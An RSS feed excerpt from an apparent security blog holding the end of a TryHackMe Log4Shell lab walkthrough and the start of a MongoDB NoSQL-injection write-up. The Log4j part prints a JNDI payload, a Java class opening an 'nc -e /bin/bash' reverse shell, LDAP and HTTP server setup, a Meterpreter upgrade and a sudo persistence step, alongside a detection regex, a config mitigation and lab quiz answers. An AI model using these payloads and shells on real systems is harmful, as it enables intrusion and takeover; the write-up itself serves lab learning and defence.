</span></span><span style="display:flex;"><span>2021-12-13 04:01:53.944 INFO  <span style="color:#f92672">(</span>qtp1083962448-20<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>There&rsquo;s an abnormal number of INFO level log entries. They repeatedly request for <code>/admin/cores</code> endpoint, and some contains unique <code>id</code> field in <code>params</code> entrypoint. Here&rsquo;s the result if you try to interact with it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl http://10.10.145.200:8983/solr/admin/cores
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;responseHeader&#34;</span>:<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;status&#34;</span>:0,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;QTime&#34;</span>:0<span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;initFailures&#34;</span>:<span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;status&#34;</span>:<span style="color:#f92672">{}}</span>
</span></span></code></pre></div><p>And a few more times:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -X POST http://10.10.145.200:8983/solr/admin/cores
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;responseHeader&#34;</span>:<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;status&#34;</span>:0,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;QTime&#34;</span>:0<span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;initFailures&#34;</span>:<span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;status&#34;</span>:<span style="color:#f92672">{}}</span>
</span></span><span style="display:flex;"><span>                                                                                                                      
</span></span><span style="display:flex;"><span>$ curl -X POST -d <span style="color:#e6db74">&#34;id=1337&#34;</span> http://10.10.145.200:8983/solr/admin/cores
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;responseHeader&#34;</span>:<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;status&#34;</span>:0,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;QTime&#34;</span>:3<span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;initFailures&#34;</span>:<span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;status&#34;</span>:<span style="color:#f92672">{}}</span>
</span></span></code></pre></div><p>We can see a slight change in the response: <code>QTime</code> changed, which probably means our posted data was recorded, or &ldquo;logged&rdquo;. Now it&rsquo;s time to check if this machine is vulnerable to <code>log4j</code>.</p>
<h2 id="proof-of-concept">Proof of concept</h2>
<p>As you may have known, the payload that set the Internet on fire is as simple as:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">${</span>jndi:ldap://EVIL_HOST_ADDRESS<span style="color:#e6db74">}</span>
</span></span></code></pre></div><p>Find your address by <code>ip a</code>, open a <code>netcat</code> listener, then send your payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -X POST -d <span style="color:#e6db74">&#39;${jndi:ldap://10.4.35.200:9999}&#39;</span> http://10.10.145.200:8983/solr/admin/cores
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;responseHeader&#34;</span>:<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;status&#34;</span>:0,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;QTime&#34;</span>:0<span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;initFailures&#34;</span>:<span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;status&#34;</span>:<span style="color:#f92672">{}}</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ nc -lvnp <span style="color:#ae81ff">9999</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">9999</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.4.35.200<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.145.200<span style="color:#f92672">]</span> <span style="color:#ae81ff">36400</span>
</span></span></code></pre></div><p>As you can see, the server readily sent back a request - it&rsquo;s confirmed being vulnerable to <code>log4j</code>! With this simple procedure you can now go exploit <code>log4j</code> in the wild, just put the payload in whatever you can think of - username, User Agent, request parameters, &hellip;, finger cross and hopefully <a href="https://portswigger.net/daily-swig/bug-bounty-platforms-handling-thousands-of-log4j-vulnerability-reports">a thousand-dollar bug bounty</a> will fall upon you. :D</p>
<h2 id="exploitation">Exploitation</h2>
<p>This step called for some set up and installation, so it&rsquo;s better to power off our attacking machine and take a snapshot first.</p>
<p>If you&rsquo;re already in an &ldquo;attacking environment&rdquo;, like ParrotSec or Kali Linux, chances are required dependencies are already installed. You can run the commands below to automate the installing process.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>cd /tmp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo apt install default-jdk git maven
</span></span><span style="display:flex;"><span>git clone https://github.com/mbechler/marshalsec
</span></span><span style="display:flex;"><span>cd marshalsec
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mvn clean package -DskipTests
</span></span></code></pre></div><p>Then, create a simple Java reverse shell through <code>netcat</code> like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Exploit</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">/</span>img<span style="color:#f92672">/</span>solarlog4j {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            java.<span style="color:#a6e22e">lang</span>.<span style="color:#a6e22e">Runtime</span>.<span style="color:#a6e22e">getRuntime</span>().<span style="color:#a6e22e">exec</span>(<span style="color:#e6db74">&#34;nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999&#34;</span>);
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (Exception e) {
</span></span><span style="display:flex;"><span>            e.<span style="color:#a6e22e">printStackTrace</span>();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>And then, spin up a LDAP server, a simple HTTP server, build the exploit, and open a <code>netcat</code> listener to wait for it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer <span style="color:#e6db74">&#34;http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit&#34;</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 -m http.server
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>javac Exploit.java -source <span style="color:#ae81ff">8</span> -target <span style="color:#ae81ff">8</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nc -lnvp <span style="color:#ae81ff">9999</span>
</span></span></code></pre></div><p>With all that set up, the last task is to send our exploit.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -X POST -d <span style="color:#e6db74">&#39;${jndi:ldap://10.4.35.200:1389/Exploit}&#39;</span> http://10.10.132.117:8983/solr/admin/cores
</span></span></code></pre></div><p>And&hellip; we got a reverse shell :D</p>
<div style="text-align: center;"><iframe id="ytplayer" type="text/html" width="640" height="360" src="https://www.youtube.com/embed/tihzRFqgxRk?autoplay=1?origin=https://git-akihakune.github.io" frameborder="0" allowfullscreen></iframe></div>
<p>If you want to go &ldquo;further and beyond&rdquo;, there&rsquo;s a small optional challenge:

  <img src="/img/solarlog4j/extra-meterpreter.png#center" alt="">

</p>
<p>Challenge&hellip; accepted. :D</p>
<p>I recommend <a href="https://null-byte.wonderhowto.com/how-to/elevate-netcat-shell-meterpreter-session-for-more-power-control-0193211/">this tutorial</a>. Straight to the point, if you want to get a <code>meterpreter</code> instead of an usual unstable reverse shell, just catch it with Metasploit <code>multi/handler</code> and directly upgrade it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msf6 exploit<span style="color:#f92672">(</span>multi/handler<span style="color:#f92672">)</span> &gt; exploit                                                                                                                                                                                                         
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Started reverse TCP handler on 10.4.35.200:9999                                                                                                                                                                                           
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Command shell session <span style="color:#ae81ff">1</span> opened <span style="color:#f92672">(</span>10.4.35.200:9999 -&gt; 10.10.178.136:60342 <span style="color:#f92672">)</span> at 2022-01-06 05:53:05 -0500                                                                                                                                    
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>^Z                                                                                                                                                                                                                                            
</span></span><span style="display:flex;"><span>Background session 1? <span style="color:#f92672">[</span>y/N<span style="color:#f92672">]</span>  y                                                                                                                                                                                                                
</span></span><span style="display:flex;"><span>msf6 exploit<span style="color:#f92672">(</span>multi/handler<span style="color:#f92672">)</span> &gt; sessions                                                                                                                                                                                                        
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>Active sessions                                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============</span>                                                                                                                                                                                                                               
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>  Id  Name  Type             Information  Connection                                                                                                                                                                                          
</span></span><span style="display:flex;"><span>  --  ----  ----             -----------  ----------                                                                                                                                                                                          
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">1</span>         shell sparc/bsd               10.4.35.200:9999 -&gt; 10.10.178.136:60342  <span style="color:#f92672">(</span>10.10.178.136<span style="color:#f92672">)</span>                                                                                                                                            
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>msf6 exploit<span style="color:#f92672">(</span>multi/handler<span style="color:#f92672">)</span> &gt; sessions -u <span style="color:#ae81ff">1</span>                                                                                                                                                                                                   
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Executing <span style="color:#e6db74">&#39;post/multi/manage/shell_to_meterpreter&#39;</span> on session<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>: <span style="color:#f92672">[</span>1<span style="color:#f92672">]</span>                                                                                                                                                                     
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Upgrading session ID: <span style="color:#ae81ff">1</span>                                                                                                                                                                                                                   
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Starting exploit/multi/handler                                                                                                                                                                                                            
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Started reverse TCP handler on 10.4.35.200:4433                                                                                                                                                                                           
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Command stager progress: 100.00% <span style="color:#f92672">(</span>773/773 bytes<span style="color:#f92672">)</span>                                                                                                                                                                                          
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Sending stage <span style="color:#f92672">(</span><span style="color:#ae81ff">984904</span> bytes<span style="color:#f92672">)</span> to 10.10.178.136                                                                                                                                                                                             
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Meterpreter session <span style="color:#ae81ff">2</span> opened <span style="color:#f92672">(</span>10.4.35.200:4433 -&gt; 10.10.178.136:38424 <span style="color:#f92672">)</span> at 2022-01-06 05:54:23 -0500                                                                                                                                      
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Stopping exploit/multi/handler
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf6 exploit<span style="color:#f92672">(</span>multi/handler<span style="color:#f92672">)</span> &gt; sessions -i <span style="color:#ae81ff">2</span>                                                                                                                                                                                                   
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Starting interaction with 2...                                                                                                                                                                                                            
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>meterpreter &gt;
</span></span></code></pre></div><h2 id="persistence">Persistence</h2>
<p>As you may have noticed from the video above, this <code>solr</code> user can run <code>sudo</code> without password.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>meterpreter &gt; shell
</span></span><span style="display:flex;"><span>Process <span style="color:#ae81ff">1794</span> created.
</span></span><span style="display:flex;"><span>Channel <span style="color:#ae81ff">2</span> created.
</span></span><span style="display:flex;"><span>sudo -l
</span></span><span style="display:flex;"><span>Matching Defaults entries <span style="color:#66d9ef">for</span> solr on solar:
</span></span><span style="display:flex;"><span>    env_reset, exempt_group<span style="color:#f92672">=</span>sudo, mail_badpass, secure_path<span style="color:#f92672">=</span>/usr/local/sbin<span style="color:#ae81ff">\:</span>/usr/local/bin<span style="color:#ae81ff">\:</span>/usr/sbin<span style="color:#ae81ff">\:</span>/usr/bin<span style="color:#ae81ff">\:</span>/sbin<span style="color:#ae81ff">\:</span>/bin<span style="color:#ae81ff">\:</span>/snap/bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User solr may run the following commands on solar:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">(</span>ALL<span style="color:#f92672">)</span> NOPASSWD: ALL
</span></span></code></pre></div><p>This saved us from the hassle of dropping a backdoor ourselves. Now, let&rsquo;s change the SSH password and lordly SSH in like a boss. <code>ヾ(⌐■_■)ノ♪</code></p>
<h2 id="detection">Detection</h2>
<p>This section is dedicated to sysadmins, but if you own an Internet-exposing server, you&rsquo;ll definitely want to check this <a href="https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/">useful massive Reddit thread</a> out.</p>
<p>Checking the affected log file again, we can see our payload proudly stood there:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>solr@solar:/var/solr/logs$ tail -n <span style="color:#ae81ff">1</span> solr.log
</span></span><span style="display:flex;"><span>2022-01-06 10:52:55.930 INFO  <span style="color:#f92672">(</span>qtp1083962448-18<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={</span><span style="color:#e6db74">${</span>jndi:ldap://10.4.35.200:1389/Exploit<span style="color:#ae81ff">\}</span>=<span style="color:#e6db74">}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">2399</span>
</span></span></code></pre></div><p>And here&rsquo;s <a href="https://github.com/back2root/log4shell-rex">the most beautiful but terrifying detection on the Internet</a>:</p>
<pre tabindex="0"><code class="language-regex" data-lang="regex">(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))
</code></pre><h2 id="bypasses">Bypasses</h2>
<p>Here&rsquo;s a bunch of bypasses for real life scenarios.

  <img src="/img/solarlog4j/bypass.png" alt="">

</p>
<p>You can also search for more exhaustive lists on Github.</p>
<h2 id="mitigation">Mitigation</h2>
<p>Let&rsquo;s patch the machine by changing its configuration.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>solr@solar:/var/solr/logs$ find / -type f -name <span style="color:#e6db74">&#34;solr.in.sh&#34;</span> 2&gt;/dev/null
</span></span><span style="display:flex;"><span>/etc/default/solr.in.sh
</span></span></code></pre></div><p>We just need to add this line to the <code>/etc/default/solr.in.sh</code> file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>SOLR_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span>$SOLR_OPTS<span style="color:#e6db74"> -Dlog4j2.formatMsgNoLookups=true&#34;</span>
</span></span></code></pre></div><p>Then restart the service. Sending the exact same payload, we can see it doesn&rsquo;t work anymore.</p>
<p>
  <img src="/img/solarlog4j/patched.png#center" alt="">

</p>
<h2 id="answers">Answers</h2>
<pre tabindex="0"><code>What service is running on port 8983? (Just the name of the software)
</code></pre><p>Apache Solr</p>
<pre tabindex="0"><code>Take a close look at the first page visible when navigating to http://MACHINE_IP:8983. You should be able to see clear indicators that log4j is in use within the application for logging activity. What is the -Dsolr.log.dir argument set to, displayed on the front page?
</code></pre><p>/var/solr/logs</p>
<pre tabindex="0"><code>One file has a significant number of INFO entries showing repeated requests to one specific URL endpoint. Which file includes contains this repeated entry? (Just the filename itself, no path needed)
</code></pre><p>solr.log</p>
<pre tabindex="0"><code>What &#34;path&#34; or URL endpoint is indicated in these repeated entries?
</code></pre><p>/admin/cores</p>
<pre tabindex="0"><code>Viewing these log entries, what field name indicates some data entrypoint that you as a user could control? (Just the field name)
</code></pre><p>params</p>
<pre tabindex="0"><code>What is the output of running this command? (You should leave this terminal window open as it will be actively awaiting connections)
</code></pre><p>Listening on 0.0.0.0:1389</p>
<pre tabindex="0"><code>What user are you?
</code></pre><p>solr</p>
<pre tabindex="0"><code>What is the full path of the specific solr.in.sh file?
</code></pre><p>/etc/default/solr.in.sh</p>
<h2 id="final-words">Final words</h2>
<p>And that&rsquo;s an overview about the severe vulnerability that &ldquo;affect almost all software under the sun&rdquo;.</p>
<p>&hellip; Why are you still here? It&rsquo;s high time patching your servers, isn&rsquo;t it? <code>&lt;(￣︶￣)&gt;</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Try Hack Me - Advent Of Cyber 3 writeup (Part 2)</title>
      <link>https://www.akihakune.com/blog/adventofcyber3-2/</link>
      <pubDate>Fri, 17 Dec 2021 07:36:50 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/adventofcyber3-2/</guid>
      <description>Writeup for 2021 Try Hack Me&amp;rsquo;s Advent of Cyber 3 (part 2)</description>
      <content:encoded><![CDATA[<ul>
<li><a href="/blog/adventofcyber3/">Part 1 of 2021 Advent of Cyber</a></li>
<li><a href="/blog/adventofcyber3-2/">Part 2 of 2021 Advent of Cyber</a></li>
</ul>
<hr>
<h2 id="day-7-web-exploitation-migration-without-security">[Day 7] <code>Web Exploitation</code>: Migration Without Security</h2>
<p>This task&rsquo;s learning objective is <a href="https://www.mongodb.com/nosql-explained">NoSQL</a> database, particularly <a href="https://github.com/mongodb/mongo">MongoDB</a>. Here&rsquo;s <a href="https://www.mongodb.com/developer/quickstart/cheat-sheet/">a cheatsheet from MongoDB document itself</a> that may make our life easier.</p>
<p>Personally I&rsquo;m more used to SQL databases, especially <a href="https://www.postgresql.org/">PostgreSQL</a>. But this concise passage&rsquo;s summarized it intelligibly:</p>
<pre tabindex="0"><code>Similar to relational databases (such as MySQL and MSSQL), MongoDB consists of databases, tables, fields but with different names where 

- Collections are similar to tables or views in MySQL and MSSQL.
- Documents are similar to rows or records in MySQL and MSSQL.
- Fields are similar to columns in MySQL and MSSQL.

Also, it is useful to briefly look at and compare the query operators between MongoDB and MySQL:

- $and equivalent to AND in MySQL
- $or equivalent to OR in MySQL
- $eq equivalent to = in MySQL

Before exploiting the NoSQL injection, there are MongoDB operators that we need to be familiar with that are heavily used in the injections, which are:

- $eq - matches records that equal to a certain value

- $ne - matches records that are not equal to a certain value

- $gt - matches records that are greater than a certain value.

- $where - matches records based on Javascript condition

- $exists - matches records that have a certain field

- $regex - matches records that satisfy certain regular expressions.
</code></pre><p>According to the task, let&rsquo;s SSH into our box first:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ssh thm@10.10.156.199 -p <span style="color:#ae81ff">2222</span>
</span></span><span style="display:flex;"><span>thm@10.10.156.199<span style="color:#e6db74">&#39;s password: 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-1059-aws x86_64)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> * Documentation:  https://help.ubuntu.com
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> * Management:     https://landscape.canonical.com
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> * Support:        https://ubuntu.com/advantage
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This system has been minimized by removing packages and content that are
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">not required on a system that users do not log into.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">To restore this content, you can run the &#39;</span>unminimize<span style="color:#960050;background-color:#1e0010">&#39;</span> command.
</span></span><span style="display:flex;"><span>Last login: Tue Dec <span style="color:#ae81ff">21</span> 08:53:12 <span style="color:#ae81ff">2021</span>
</span></span><span style="display:flex;"><span>thm@mongo-server:~$ mongosh
</span></span><span style="display:flex;"><span>Current Mongosh Log ID: 61c1a96abf06cbd75fee1b76
